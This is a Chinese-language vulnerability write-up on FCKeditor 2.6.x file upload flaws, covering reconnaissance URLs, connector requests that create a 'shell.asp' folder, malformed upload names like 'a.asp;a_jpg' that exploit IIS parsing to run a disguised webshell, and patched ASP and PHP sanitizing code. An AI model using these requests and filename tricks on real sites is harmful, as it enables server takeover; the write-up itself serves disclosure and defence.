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Fckeditor PHP/ASP File Upload Vul

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2016-06-06 19:48:091512browse

目录 1 . 漏洞描述 2 . 漏洞触发条件 3 . 漏洞影响范围 4 . 漏洞代码分析 5 . 防御方法 6 . 攻防思考 1. 漏洞描述 FCKeditor是目前最优秀的可见即可得网页编辑器之一，它采用JavaScript编写。具备功能强大、配置容易、跨浏览器、支持多种编程语言、开源等特

目录

<span>1</span><span>. 漏洞描述
</span><span>2</span><span>. 漏洞触发条件
</span><span>3</span><span>. 漏洞影响范围
</span><span>4</span><span>. 漏洞代码分析
</span><span>5</span><span>. 防御方法
</span><span>6</span>. 攻防思考

 

1. 漏洞描述

FCKeditor是目前最优秀的可见即可得网页编辑器之一，它采用JavaScript编写。具备功能强大、配置容易、跨浏览器、支持多种编程语言、开源等特点。它非常流行，互联网上很容易找到相关技术文档，国内许多WEB项目和大型网站均采用了FCKeditor
它可和PHP、JavaScript、ASP、ASP.NET、ColdFusion、Java、以及ABAP等不同的编程语言相结合
FCK中一个很重要的文件上传的功能，常常被黑客用来进行GETSHELL攻击，根本原因是因为角色权限控制不严、以及文件扩展名限制逻辑存在BYPASS缺陷

Relevant Link:

http:<span>//</span><span>sebug.net/vuldb/ssvid-20830</span>


2. 漏洞触发条件

0x1: 信息搜集

首先收集FCK的版本信息

http:<span>//</span><span>localhost/fckeditor/editor/dialog/fck_about.html</span><span>
/*</span><span>
version 
2.6.8
Build 25427
</span><span>*/</span>

0x2: 获取上传点路径

<span>爆物理路径
http:</span><span>//</span><span>172.31.200.74/editor/fckeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp</span>

<span>1</span><span>. 爆路径漏洞
http:</span><span>//</span><span>192.168.174.138/fckeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp</span>

<span>2</span><span>. 列目录漏洞也可助找上传地址
http:</span><span>//</span><span>192.168.174.138/fckeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp</span>
<span>
http:</span><span>//</span><span>192.168.174.138/fckeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F</span>

<span>3</span><span>. 其他上传地址
http:</span><span>//</span><span>192.168.174.138/fckeditor/_samples/default.html</span>
http:<span>//</span><span>192.168.174.138/fckeditor/_samples/asp/sample01.asp</span>
http:<span>//</span><span>192.168.174.138/fckeditor/_samples/asp/sample02.asp</span>
http:<span>//</span><span>192.168.174.138/fckeditor/_samples/asp/sample03.asp</span>
http:<span>//</span><span>192.168.174.138/fckeditor/_samples/asp/sample04.asp</span>
<span>一般很多站点都已删除_samples目录，可以试试。
FCKeditor</span>/editor/<span>fckeditor.html 不可以上传文件，可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页
http:</span><span>//</span><span>192.168.174.138/fckeditor/editor/fckeditor.html</span>

<span>4</span><span>. 常用上传地址
http:</span><span>//</span><span>192.168.174.138/fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/</span>
http:<span>//</span><span>192.168.174.138/fckeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp</span>
http:<span>//</span><span>192.168.174.138/fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=</span><span>http://www.site.com</span><span>%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php  </span>

<span>5</span><span>. FCKeditor 中test 文件的上传地址
http:</span><span>//</span><span>192.168.174.138/fckeditor/editor/filemanager/browser/default/connectors/test.html</span>
http:<span>//</span><span>192.168.174.138/fckeditor/editor/filemanager/upload/test.html</span>
http:<span>//</span><span>192.168.174.138/fckeditor/editor/filemanager/connectors/test.html</span>
http:<span>//</span><span>192.168.174.138/fckeditor/editor/filemanager/connectors/uploadtest.html </span>

最终获得的上传点如下

http:<span>//</span><span>localhost/fckeditor/editor/filemanager/connectors/test.html</span>
http:<span>//</span><span>localhost/fckeditor/editor/filemanager/connectors/uploadtest.html</span>

0x3: 建立新文件夹

http:<span>//</span><span>localhost/fckeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
</span><span>//</span><span>在images文件夹下建立文件夹 </span>

0x4: IIS解析漏洞

如果你的文件处在一个xx.asp文件夹下，那这个文件夹下的所有文件都会被当作.asp脚本来执行，这是利用了IIS的xx.asp文件夹解析漏洞

<span>1</span>. 建立一个文件夹/z/<span>shell.asp
http:</span><span>//</span><span>localhost/fckeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684 </span>
http:<span>//</span><span>localhost/fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp</span>

<span>2</span><span>. 上传一个内容为WEBSHELL的xx.jpg文件
http:</span><span>//</span><span>localhost/userfiles/image/shell.asp/z/choop.jpg</span>
http:<span>//</span><span>localhost/userfiles/image/shell.asp/z/choop.jpg
</span><span>//</span><span>这个xx.jpg会被当作webshell解析</span>

0x5: FCK扩展名过滤防御解析漏洞

正常情况下，fck对上传的文件后缀扩展名是有防御逻辑的(即禁止上传脚本文件)

<span>1</span><span>. 上传文件名: shell.php;.jpg
文件会被重命名为: shell_php.jpg

</span><span>2</span><span>. 如果上传文件名: 
    </span><span>1</span><span>) a.php;a_jpg
    </span><span>2</span><span>) a.asp;a_jpg
则文件不会被重命名
 
</span><span>3</span>. 又因为IIS存在一个解析漏洞，分号<span>"</span><span>;</span><span>"</span><span>后面的字符串会被IIS截断，导致黑客上传的文件对IIS来说就是
a.php
a.asp
从而得到执行</span>

Relevant Link:

http:<span>//</span><span>hi.baidu.com/holyli/item/f2d37959513ed509e6c4a597</span>


3. 漏洞影响范围

2.6.xx


4. 漏洞代码分析

FCKEditor上传检测，是通过黑色单/白名单的方式检测允许和不允许上传的文件类型，具体的实现逻辑位于

<span>1</span><span>. asp: \fckeditor\editor\filemanager\connectors\asp
</span><span>2</span>. php: \fckeditor\editor\filemanager\connectors\php

0x1: ASP

\fckeditor\editor\filemanager\connectors\asp\class_upload.asp

<span>Private Function IsAllowed(sExt)
        Dim oRE
        Set oRE    </span>=<span> New RegExp
        oRE.IgnoreCase    </span>=<span> True
        oRE.Global        </span>=<span> True

        If sDenied </span>= <span>""</span><span> Then
            oRE.Pattern    </span>=<span> sAllowed
            IsAllowed    </span>= (sAllowed = <span>""</span><span>) Or oRE.Test(sExt)
        Else
            oRE.Pattern    </span>=<span> sDenied
            IsAllowed    </span>=<span> Not oRE.Test(sExt)
        End If

        Set oRE    </span>=<span> Nothing
End Function</span>

\fckeditor\editor\filemanager\connectors\asp\io.asp

<span>Function IsAllowedExt( extension, resourceType )
    Dim oRE
    Set oRE    </span>=<span> New RegExp
    oRE.IgnoreCase    </span>=<span> True
    oRE.Global        </span>=<span> True

    Dim sAllowed, sDenied
    sAllowed    </span>=<span> ConfigAllowedExtensions.Item( resourceType )
    sDenied        </span>=<span> ConfigDeniedExtensions.Item( resourceType )

    IsAllowedExt </span>=<span> True

    If sDenied </span> <span>""</span><span> Then
        oRE.Pattern    </span>=<span> sDenied
        IsAllowedExt    </span>=<span> Not oRE.Test( extension )
    End If

    If IsAllowedExt And sAllowed </span> <span>""</span><span> Then
        oRE.Pattern        </span>=<span> sAllowed
        IsAllowedExt    </span>=<span> oRE.Test( extension )
    End If

    Set oRE    </span>=<span> Nothing
End Function</span>

待检测的extension是来自FCK的配置文件:config.asp
\fckeditor\editor\filemanager\connectors\asp\config.asp

ConfigAllowedExtensions.Add    <span>"</span><span>File</span><span>"</span>, <span>"</span><span>7z|aiff|asf|avi|bmp|csv|doc|fla|flv|gif|gz|gzip|jpeg|jpg|mid|mov|mp3|mp4|mpc|mpeg|mpg|ods|odt|pdf|png|ppt|pxd|qt|ram|rar|rm|rmi|rmvb|rtf|sdc|sitd|swf|sxc|sxw|tar|tgz|tif|tiff|txt|vsd|wav|wma|wmv|xls|xml|zip</span><span>"</span><span>

ConfigAllowedExtensions.Add    </span><span>"</span><span>Image</span><span>"</span>, <span>"</span><span>bmp|gif|jpeg|jpg|png</span><span>"</span><span>

ConfigAllowedExtensions.Add    </span><span>"</span><span>Flash</span><span>"</span>, <span>"</span><span>swf|flv</span><span>"</span><span>

ConfigAllowedExtensions.Add    </span><span>"</span><span>Media</span><span>"</span>, <span>"</span><span>aiff|asf|avi|bmp|fla|flv|gif|jpeg|jpg|mid|mov|mp3|mp4|mpc|mpeg|mpg|png|qt|ram|rm|rmi|rmvb|swf|tif|tiff|wav|wma|wmv</span><span>"</span>

这只是提供给FCK的正则判断逻辑，真正的重命名机制在这里
\fckeditor\editor\filemanager\connectors\asp\io.asp

<span>'</span><span> Do a cleanup of the file name to avoid possible problems</span>
<span>function SanitizeFileName( sNewFileName )
    Dim oRegex
    Set oRegex </span>=<span> New RegExp
    oRegex.Global        </span>=<span> True

    </span><span>if</span> ( ConfigForceSingleExtension =<span> True ) then
        </span><span>/*</span><span>
        这就是重命名文件名的关键逻辑了
        从第一个遇到"."号开始搜索，并把后面的内容当作捕获分组，捕获分组的过滤条件是不会再在后面遇到一个"."号 了，并设置一个断言，断言的内容为捕获分组的内容不可能发生，即如果还在后面遇到了一个"."号，则这个正则判断成立，即搜索到第一次遇到的"."号。然后进行replace操作，把"."号替换成"_"
        1. 如果我们的文件名是: asp.asp;asp.jpg，自然会被正则捕获到，第一个"."号就被替换成了"_"
        2. 如果我们的文件名是: asp.asp;jpg，这种文件名也能通过文件后缀判断逻辑，即bypass
        </span><span>*/</span><span>
        oRegex.Pattern </span>= <span>"</span><span>\.(?![^.]*$)</span><span>"</span><span>
        sNewFileName </span>= oRegex.Replace( sNewFileName, <span>"</span><span>_</span><span>"</span><span> )
    end </span><span>if</span>

<span>'</span><span> remove \ / | : ? *  "  and control characters</span>
    oRegex.Pattern = <span>"</span><span>(\\|\/|\||:|\?|\*|</span><span>""</span><span>|\|[\u0000-\u001F]|\u007F)</span><span>"</span><span>
    SanitizeFileName </span>= oRegex.Replace( sNewFileName, <span>"</span><span>_</span><span>"</span><span> )

    Set oRegex </span>=<span> Nothing
end function</span>


5. 防御方法

1. ASP

0x1:  删除fckeditor下含test的html文件

<span>1</span>. \editor\filemanager\connectors\test.html

0x2: 在代码层防御IIS解析漏洞(分号截断)

\fckeditor\editor\filemanager\connectors\asp\io.asp

<span>'</span><span> Do a cleanup of the file name to avoid possible problems</span>
<span>function SanitizeFileName( sNewFileName )
    Dim oRegex
    Dim oRegexSecurityExt
    Set oRegex                 </span>=<span> New RegExp
    Set oRegexSecurityExt     </span>=<span> New RegExp
    oRegex.Global                    </span>=<span> True
    oRegexSecurityExt.Global        </span>=<span> True

    </span><span>if</span> ( ConfigForceSingleExtension =<span> True ) then
        oRegex.Pattern </span>= <span>"</span><span>\.(?![^.]*$)</span><span>"</span><span>
        <span>SanitizeFileName</span> </span>= oRegex.Replace( sNewFileName, <span>"</span><span>_</span><span>"</span><span> )

        oRegexSecurityExt.Pattern </span>= <span>"</span><span>\.(asp|aspx|cer|asa|hdx|cdx|php|php5|php4|php3|phtml|shtml|jsp|jspx|xsp|cfm)(;|$)</span><span>"</span><span>
        <span>SanitizeFileName</span> </span>= oRegexSecurityExt.Replace( <span>sNewFileName</span>, <span>"</span><span>_</span><span>"</span><span> )
    end </span><span>if</span>

<span>'</span><span> remove \ / | : ? *  "  and control characters</span>
    oRegex.Pattern = <span>"</span><span>(\\|\/|\||:|\;|\?|\*|</span><span>""</span><span>|\|[\u0000-\u001F]|\u007F)</span><span>"</span><span>
    SanitizeFileName </span>= oRegex.Replace( sNewFileName, <span>"</span><span>_</span><span>"</span><span> )

    Set oRegex </span>=<span> Nothing
end function</span>

0x3: 在代码层防御IIS解析漏洞(创建xx.asp目录)
如果黑客通过FCK的目录创建接口创建了一个xx.asp目录，IIS将此目录下的的任意文件都当作asp脚本进行解析，攻击者可以向这个目录下上传包含WEBSHELL的jpg文件

<span>'</span><span> Do a cleanup of the folder name to avoid possible problems</span>
<span>function SanitizeFolderName( sNewFolderName )
    Dim oRegex
    Dim oRegexSecurityExt
    Set oRegex                 </span>=<span> New RegExp
    Set oRegexSecurityExt     </span>=<span> New RegExp
    oRegex.Global                    </span>=<span> True
    oRegexSecurityExt.Global        </span>=<span> True

    </span><span>'</span><span>remove . \ / | : ? *  "  and control characters</span>
    oRegex.Pattern = <span>"</span><span>(\.|\\|\/|\||:|\?|\;|\*|</span><span>""</span><span>|\|[\u0000-\u001F]|\u007F)</span><span>"</span><span>
    SanitizeFolderName </span>= oRegex.Replace( sNewFolderName, <span>"</span><span>_</span><span>"</span><span> )

    </span><span>'</span><span>forbidden the dangerous ext</span>
    oRegexSecurityExt.Pattern = <span>"</span><span>\.(asp|aspx|cer|asa|hdx|cdx|php|php5|php4|php3|phtml|shtml|jsp|jspx|xsp|cfm)$</span><span>"</span><span>
    SanitizeFolderName </span>= oRegexSecurityExt.Replace( sNewFolderName, <span>"</span><span>_</span><span>"</span><span> )

    Set oRegex </span>=<span> Nothing
end function</span>

0x4: 扩展名上传限制正则绕过漏洞

和0x2: 在代码层防御IIS解析漏洞(分号截断)相同，同时还可以通过强化正则规则，在扩展名的头尾加上"起始"、"结束"定界符来规避攻击者的畸形后缀bypass

<span>Function IsAllowedType( resourceType )
    Dim oRE
    Set oRE    </span>=<span> New RegExp
    oRE.IgnoreCase    </span>=<span> False
    oRE.Global        </span>=<span> True
    oRE.Pattern        </span>= <span>"</span><span>^(</span><span>"</span> & ConfigAllowedTypes & <span>"</span><span>)$</span><span>"</span><span>

    IsAllowedType </span>=<span> oRE.Test( resourceType )

    Set oRE    </span>=<span> Nothing
End Function

Function IsAllowedCommand( sCommand )
    Dim oRE
    Set oRE    </span>=<span> New RegExp
    oRE.IgnoreCase    </span>=<span> True
    oRE.Global        </span>=<span> True
    oRE.Pattern        </span>= <span>"</span><span>^(</span><span>"</span> & ConfigAllowedCommands & <span>"</span><span>)$</span><span>"</span><span>

    IsAllowedCommand </span>=<span> oRE.Test( sCommand )

    Set oRE    </span>=<span> Nothing
End Function</span>

Relevant Link:

http:<span>//</span><span>www.chinaz.com/news/2012/1205/284700.shtml</span>
http:<span>//</span><span>www.sdlunzhong.cn/itres/showitnews.aspx?id=807</span>

2. PHP

存在IIS+FastCGI即同时存在ASP、PHP的运行环境

/fckeditor/editor/filemanager/connectors/php/io.php

<span>//</span><span> Do a cleanup of the folder name to avoid possible problems</span>
<span>function SanitizeFolderName( $sNewFolderName )
{
    $sNewFolderName </span>=<span> stripslashes( $sNewFolderName ) ;

    </span><span>//</span><span> Remove . \ / | : ; . ? * " </span>
    $sNewFolderName = preg_replace( <span>'</span><span>/\\.|\\\\|\\;|\\/|\\||\\:|\\?|\\*|"||[[:cntrl:]]/</span><span>'</span>, <span>'</span><span>_</span><span>'</span><span>, $sNewFolderName ) ;

    $sNewFolderName </span>= preg_replace( <span>'</span><span>/\\.(asp|aspx|cer|asa|hdx|cdx|php|php5|php4|php3|phtml|shtml|jsp|jspx|xsp|cfm)$/i</span><span>'</span>, <span>'</span><span>_</span><span>'</span><span>, $sNewFolderName ) ;

    </span><span>return</span><span> $sNewFolderName ;
}

</span><span>//</span><span> Do a cleanup of the file name to avoid possible problems</span>
<span>function SanitizeFileName( $sNewFileName )
{
    </span><span>global</span><span> $Config ;

    $sNewFileName </span>=<span> stripslashes( $sNewFileName ) ;

    </span><span>//</span><span> Replace dots in the name with underscores (only one dot can be there... security issue).</span>
    <span>if</span> ( $Config[<span>'</span><span>ForceSingleExtension</span><span>'</span><span>] )
        $sNewFileName </span>= preg_replace( <span>'</span><span>/\\.(?![^.]*$)/</span><span>'</span>, <span>'</span><span>_</span><span>'</span><span>, $sNewFileName ) ;

    </span><span>//</span><span> Remove \ / | : ? * " </span>
    $sNewFileName = preg_replace( <span>'</span><span>/\\\\|\\/|\\||\\:|\\;|\\?|\\*|"||[[:cntrl:]]/</span><span>'</span>, <span>'</span><span>_</span><span>'</span><span>, $sNewFileName ) ;

    $sNewFileName </span>= preg_replace( <span>'</span><span>/\\.(asp|aspx|cer|asa|hdx|cdx|php|php5|php4|php3|phtml|shtml|jsp|jspx|xsp|cfm)(;|$)/i</span><span>'</span>, <span>'</span><span>_</span><span>'</span><span>, $sNewFileName ) ;

    </span><span>return</span><span> $sNewFileName ;
}</span>


6. 攻防思考

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